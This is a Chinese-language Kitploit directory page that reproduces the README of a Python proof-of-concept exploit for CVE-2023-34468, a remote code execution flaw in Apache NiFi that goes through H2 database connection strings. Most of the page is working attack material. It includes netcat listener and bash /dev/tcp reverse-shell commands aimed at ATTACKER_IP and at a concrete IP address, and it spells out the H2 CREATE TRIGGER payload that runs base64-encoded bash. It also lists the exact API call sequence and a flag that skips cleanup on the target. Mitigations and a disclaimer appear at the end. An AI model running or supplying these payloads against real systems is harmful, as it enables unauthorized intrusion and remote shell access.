Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-34468 — CVE-2023-34468 - Apache NiFi H2 RCE PoC | Kitploit
工具/GitHubGitHub/jeanpt/cve-2023-34468
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubjeanpt/cve-2023-34468

CVE-2023-34468

CVE-2023-34468 - Apache NiFi H2 RCE PoC

查看仓库
144个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-34468 漏洞利用工具

GitHub stars GitHub license

概述

本仓库提供了一个基于 Python 的漏洞利用工具,针对 CVE-2023-34468——Apache NiFi 0.0.2 至 1.21.0 版本中存在的一个严重远程代码执行漏洞(CVSS 9.8)。该工具允许已认证用户通过操纵内嵌触发器的 H2 数据库连接字符串来执行任意代码。

⚠️ 警告: 仅限教育和授权测试用途。未经授权访问计算机系统属违法行为。

漏洞详情

  • CVE ID: CVE-2023-34468
  • 受影响版本: Apache NiFi 0.0.2–1.21.0
  • 影响: 远程代码执行(RCE)
  • CVSS 评分: 9.8(严重)
  • 发现日期: 2023 年 6 月 12 日
  • 描述: DBCPConnectionPool 和 HikariCPConnectionPool 控制器服务允许用户使用 H2 驱动配置数据库 URL,从而通过 H2 的 CREATE TRIGGER 功能实现任意 Java 代码执行。当连接被初始化时,内嵌的 JavaScript 代码将以 NiFi 的权限执行。

前置条件

  • Python 3.7+
  • requests 库
  • 可访问 NiFi API 的网络(默认端口 8080 或 8443)
  • 目标 NiFi 实例未启用认证,或拥有有效凭据
  • 用于反向 Shell 的监听器(例如 nc -lnvp 5555)

快速开始

克隆并安装

root@kitploit:~
git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt

未认证 NiFi(无需凭据)

root@kitploit:~
# Start your listener
nc -lnvp 5555

# Run the exploit — auth is auto-detected, no flags needed for open instances
python3 exploit.py \
  -t http://nifi.target.com:8080 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555

已认证 NiFi(用户名/密码)

root@kitploit:~
python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  -u admin -p password123

已认证 NiFi(Bearer 令牌)

root@kitploit:~
python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  --token <your_bearer_token>

跳过清理(在目标上保留痕迹)

root@kitploit:~
python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup

全部选项

root@kitploit:~
python3 exploit.py --help

验证: 检查你的监听器是否收到反向 Shell 连接。运行 id 以确认代码执行。

工作原理(技术细节)

攻击流程

  1. 侦察: 通过 /nifi-api/system-diagnostics 识别 NiFi 版本
  2. 创建 DBCP 服务: 向 /nifi-api/process-groups/root/controller-services POST 恶意 H2 连接字符串
  3. 创建处理器: 向同一进程组 POST ExecuteSQL 处理器
  4. 配置处理器: 将处理器关联到恶意 DBCP 服务
  5. 启用服务: 以状态 ENABLED PUT 到 /nifi-api/controller-services/{id}/run-status
  6. 触发 RCE: 以状态 RUNNING PUT 到 /nifi-api/processors/{id}/run-status —— H2 触发器在连接时触发

H2 载荷结构

root@kitploit:~
jdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x

关键点:

  • 使用反斜杠转义分号:\;
  • JavaScript 在 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES(自动触发)时执行
  • 对载荷进行 Base64 编码以避免特殊字符问题
  • 填充等号被替换为空格以避免 H2 解析问题

载荷示例

反向 Shell

root@kitploit:~
# Run exploit directly
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555

命令执行

root@kitploit:~
python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555

缓解措施

  • 更新: 升级到 Apache NiFi 1.22.0 或更高版本
  • 访问控制: 通过防火墙/WAF 限制 NiFi API 访问
  • 认证: 在 NiFi 上启用并强制实施认证
  • 监控: 对异常的控制器服务配置发出告警
  • 网络分段: 将 NiFi 与不可信网络隔离

参考资料

  • NVD - CVE-2023-34468
  • Apache NiFi 安全公告
  • NIFI-11653 - 问题跟踪器
  • Apache 邮件列表讨论

免责声明

本工具仅用于安全研究和授权测试。作者不对因使用本漏洞利用工具而造成的滥用或损害负责。请始终在授权环境中负责任地测试。

致谢

  • 发现者: Matei "Mal" Badanoiu
  • Metasploit 模块: h00die
  • Python POC: Jean

许可证

MIT 许可证 - 详见 LICENSE 文件


专为安全研究和授权渗透测试而构建。

主题:apache-nifi h2-database rce exploit cve-2023-34468 python security-research

下载工具
命令描述
-t, --target目标 NiFi 实例 URL(必填)
-c, --command要执行的命令(必填)
-lh, --lhost回调监听主机(必填)
-lp, --lport回调监听端口(必填)
-u, --usernameNiFi 用户名(已认证实例)
-p, --passwordNiFi 密码(已认证实例)
--tokenBearer 令牌(已认证实例)
--no-cleanup利用完成后跳过清理
--delay清理前等待的秒数(默认:10)
--driver-path覆盖 H2 驱动 jar 路径(默认省略)